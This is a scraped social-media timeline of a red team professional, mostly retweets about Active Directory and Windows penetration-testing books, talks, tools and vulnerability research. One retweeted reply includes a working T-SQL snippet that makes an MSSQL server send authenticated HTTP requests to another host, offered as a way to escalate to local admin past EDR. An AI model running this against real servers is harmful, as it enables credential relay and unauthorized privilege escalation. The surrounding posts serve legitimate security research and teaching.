@cryptopeg

Red Team Architect @FujitsuOfficial

 Tokyo, Japan
Joined January 2014
  • Tweets637
  • Following902
  • Followers1.2K
6Media
Ruslan Sayfiev retweeted
tamaiyutaro
@tamai_pcOct 15
[宣伝] 「詳解 Active Directory & Windowsインフラ・ペネトレーションテスト」の書籍作成に少し関わらせていただきました。Active Directory を始め、WSUS や Configuration Manager についても取り上げられているので是非。 oreilly.co.jp/books/97848144… #ActiveDirectory #ConfigMgr #WSUS
1
46
8
215
11,466
AD攻撃の知識をレベルアップしたい方におすすめの一冊！
2
145
9
964
49,224
Ruslan Sayfiev retweeted
O'Reilly Japan
@oreilly_japanSep 1
10月発売予定の『Windowsインフラのためのレッドチーム実践ガイド』ですが、タイトルをより原書に近い『詳解 Active Directory & Windowsインフラ・ペネトレーションテスト ―Microsoft環境における攻撃手法から検知・修復までを体系的に学ぶ実践ガイド』と変更いたしました！ amazon.co.jp/dp/4814401736
1
152
15
573
35,158
Ruslan Sayfiev retweeted
r00tapple
@r00tappleJul 10
チーム内のペンテスターが良い感じにEDR自体の研究していて海外に記事でも似たようなことが公開されつつあるのでどういった脅威が現実的に加速するのかっていう観点で啓蒙記事出してもらいました！ 日本語記事でここまでわかりやすくまとまってるのは無いかなと思うので是非ご一読ください👏 ●LLM発展後のEDRとの攻防 - 検知ロジックの解析がもたらす攻撃・防御の変化 gmo-cybersecurity.com/blog/e…

LLM発展後のEDRとの攻防 - 検知ロジックの解析がもたらす攻撃・防御の変化 | セキュリティブログ | 脆弱性診断（セキュリティ診断）のGMOサイバーセキュリティ byイエラエ

LLM発展後のEDRとの攻防 - 検知ロジックの解析がもたらす攻撃・防御の変化 についてのページです。セキュリティブログでは、脆弱性診断技術やサイバーセキュリティに関する情報を発信しています。イエラエセキュリティはWEB・スマートフォンアプリの脆弱性診断(セキュリティ診断)、ペネトレーションテストなどハッカーによる高度なセキュリティサービスをご提供します。

gmo-cybersecurity.com
小池悠生@shojin_compJul 10
ブログが公開されました！ LLMのせいでEDR回避が簡単になり、攻撃者の対策が大変になるかもという記事です！ gmo-cybersecurity.com/blog/e…

LLM発展後のEDRとの攻防 - 検知ロジックの解析がもたらす攻撃・防御の変化 | セキュリティブログ | 脆弱性診断（セキュリティ診断）のGMOサイバーセキュリティ byイエラエ

LLM発展後のEDRとの攻防 - 検知ロジックの解析がもたらす攻撃・防御の変化 についてのページです。セキュリティブログでは、脆弱性診断技術やサイバーセキュリティに関する情報を発信しています。イエラエセキュリティはWEB・スマートフォンアプリの脆弱性診断(セキュリティ診断)、ペネトレーションテストなどハッカーによる高度なセキュリティサービスをご提供します。

gmo-cybersecurity.com
1
27
158
18,658
Ruslan Sayfiev retweeted
%TEMP%@TEMP43487580Mar 19
Thank you for coming to today's talk at #Insomnihack . I will upload the slides later but here is the new release of the BAADTokenBroker bof for those of you interested github.com/temp43487580/BAAD…

GitHub - temp43487580/BAADTokenBroker: BAADTokenBroker is a post-exploitation tool designed to...

BAADTokenBroker is a post-exploitation tool designed to interact with Microsoft Entra ID device-bound keys. - temp43487580/BAADTokenBroker

github.com
3
30
1
80
10,805
Ruslan Sayfiev retweeted
Yurika@EurekaBerry28 Nov 2025
昨日登壇した、apan Microsoft Endpoint Configuration Manager UG のActive Directory 勉強会 第 6 回目 [Active Directory セキュリティについて学ぶ回] の資料を公開しました 📝 AD保護の全部を網羅しているわけではありませんが、概要の理解のお役に立てば幸いです speakerdeck.com/eurekaberry/…

Active Directory 勉強会 第 6 回目 Active Directory セキュリティについて学ぶ回

2025 年 11 月 27 日開催 Japan Microsoft Endpoint Configuration Manager UG の Active Directory 勉強会 第 6 回目 「Active Directory セキュリティについて学ぶ回」 の講演資料です。

speakerdeck.com
1
128
10
637
118,055
Ruslan Sayfiev retweeted
Masahiro Kawada@kawakatz30 Oct 2025
プロトコル別にNTLMリレーとKerberosリレーの基礎的な内容についてまとめたのでぜひー！ 対策についてはMitigationsをご参照いただけたら！ kawakatz.io/notes/the-basics…

The Basics of NTLM/Kerberos Relays

A technical overview of NTLM and Kerberos relay attacks

kawakatz.io
7
1
32
3,930
Ruslan Sayfiev retweeted
Yurika@EurekaBerry31 Oct 2025
Active Directory なぜ侵入されるのかを理解し、ADの構成や設定を見直す。それだけでも、侵入のリスクを下げることができます。すべての推奨構成にできなくても、手を付けれるところからでも。 ADのベストプラクティスも更新されてますので、ぜひAD管理者の方はぜひご一読を learn.microsoft.com/ja-jp/wi…

Active Directory をセキュリティで保護するためのベスト プラクティス

Active Directory をセキュリティで保護するためのベスト プラクティスについて説明します。

learn.microsoft.com
宇田周平
@syuheiuda30 Oct 2025
オンプレに AD が残っている皆さん、AD やられるとマジで危ないので、Defender for Identity 使ってくださいまし
5
164
4
838
113,627
CODE BLUEトレーニングはもうすぐ満席になりそうです！受講希望の方はお早めにご登録ください！ たった2日間なのに、すでにスライドが400枚。しかも、まだ半分しか終わっていません😅 盛りだくさんの内容をどうぞお楽しみに！ codeblue.jp/program/training…
6
1
43
23,651
In this post @_wald0 introduces PingOneHound, a BloodHound OpenGraph extension that allows users to visualize, audit, and remediate attack paths in their PingOne environment. The blog post also serves as an introduction to the PingOne architecture. specterops.io/blog/2025/10/2…

PingOne Attack Paths

You can use PingOneHound in conjunction with BloodHound Community Edition to discover, analyze, execute, and remediate identity-based attack paths in PingOne instances.

specterops.io
22
50
8,046
実践 Webペネトレーションテスト、目次が公開されているので気になる方はこちらを oreilly.co.jp//books/9784814…

実践 Webペネトレーションテスト

Webアプリケーションは私たちの生活に欠かせない存在となり、オンラインショッピング、銀行取引、医療サービス、教育プラットフォームなど、重要なサービスの多くがWeb上で提供されています。しかし、この利便性の裏側で、Webアプリケーションは攻撃者にとっても魅力的な標的となり、特に個人情報の漏洩や金銭的損失などの深刻な被害が頻繁に発生しています。こうした脅威に対抗するため、近年ペネトレーションテス...

oreilly.co.jp
1
19
2
129
8,381
Ruslan Sayfiev retweeted
三ツ矢
@328__16 Oct 2025
レビューに関わったご縁もあり「実践Webペネトレーションテスト」を献本いただきました。 実際にWebペネのプロの方が執筆していてノウハウがたっぷり詰まっててすごく読み応えがあります。 個人的には7章の内容が大好きです。 来週発売らしいです☺️ oreilly.co.jp/books/97848144…
4
16
1,825
Check out Titanis, my new C#-based protocol library! It features implementations of SMB and various Windows RPC protocols along with Kerberos and NTLM. github.com/trustedsec/Titani…

GitHub - trustedsec/Titanis: Windows protocol library, including SMB and RPC implementations, among...

Windows protocol library, including SMB and RPC implementations, among others. - trustedsec/Titanis

github.com
14
182
17
544
92,889
Ruslan Sayfiev retweeted
Dirk-jan
@_dirkjan17 Sep 2025
I've been researching the Microsoft cloud for almost 7 years now. A few months ago that research resulted in the most impactful vulnerability I will probably ever find: a token validation flaw allowing me to get Global Admin in any Entra ID tenant. Blog: dirkjanm.io/obtaining-global…

One Token to rule them all - obtaining Global Admin in every Entra ID tenant via Actor tokens

While preparing for my Black Hat and DEF CON talks in July of this year, I found the most impactful Entra ID vulnerability that I will probably ever find. One that could have allowed me to compromise...

dirkjanm.io
138
899
112
3,173
481,980
Ruslan Sayfiev retweeted
%TEMP%@TEMP4348758022 Aug 2025
I just started a new blog, and this is my first post. I took a bit of PTO, so this is a little record of some fun I had playing around with Intune during that time. It's about enrollment restriction bypass😄 temp43487580.github.io/intun…

Bypassing Enrollment Restrictions to Break BYOD Barriers in Intune

Ways of device ownership spoofing and more for persistent access to Intune

temp43487580.github.io
14
69
8
244
48,986
Ruslan Sayfiev retweeted
Chris Thompson@_Mayyhem29 Jul 2025
I'm SO hyped to finally make MSSQLHound public! It's a new BloodHound collector that adds 37 new edges and 7 new nodes for MSSQL attack paths using the new OpenGraph feature for 8.0!. Let me know what you find with it! - github.com/SpecterOps/MSSQLH… - specterops.io/blog/2025/07/2…
7
215
2
625
40,124
Ruslan Sayfiev retweeted
Daniel@0x64616e30 Jul 2025
A colleague of mine used this today to escalate from MSSQL sysadmin to local admin on the underlying server . Much nicer than getting a potato past the EDR.
Garrett@unsigned_sh0rt24 May 2025
Replying to @unsigned_sh0rt
Like this: DECLARE @o INT; EXEC sp_OACreate 'WinHttp.WinHttpRequest.5.1', @o OUT; EXEC sp_OAMethod @o, 'open', NULL, 'GET', 'http://10.6.10.20', 'false'; EXEC sp_OAMethod @o, 'SetAutoLogonPolicy', NULL, 0; EXEC sp_OAMethod @o, 'send'; EXEC sp_OADestroy @o;
29
151
10,816
Ruslan Sayfiev retweeted
Dirk-jan
@_dirkjan30 Jul 2025
It's been almost a year since my last blog... So, here is a new one: Extending AD CS attack surface to the cloud with Intune certificates. Also includes ESC1 over Intune (in some cases). dirkjanm.io/extending-ad-cs-… Oh, and a new tool for SCEP: github.com/dirkjanm/scepreq

Extending AD CS attack surface to the cloud with Intune certificates

Active Directory Certificate Services (AD CS) attack surface is pretty well explored in Active Directory itself, with *checks notes* already 16 “ESC” attacks being publicly described. Hybrid certif...

dirkjanm.io
8
189
2
522
32,700
Ruslan Sayfiev retweeted
SpecterOps@SpecterOps28 Jul 2025
The industry recommendation for DPAPI backup key compromise remediation is to destroy and rebuild the environment. @sou_predictable explores why this is the current industry guidance. ghst.ly/40DTLHk
1
50
124
6,794
Ruslan Sayfiev retweeted
Sean Metcalf
@PyroTek39 Jul 2025
In every Active Directory domain, there's the default domain Administrator account. * Do you know when the last time the Administrator account was used (logged into)? * The last time its password was changed? * How the password is managed and stored? * Does it have an associated Kerberos Service Principal Name (SPN)? (it shouldn't) * Is it enabled? (it's probably fine if it is) PowerShell for current domain using the AD PowerShell cmdlets: Get-ADUser "$((Get-ADDomain).DomainSID)-500" -Properties Name,Enabled,Created,PasswordLastSet,LastLogonDate,ServicePrincipalName,SID #ActiveDirectorySecurityTip
3
53
1
381
24,940
Load more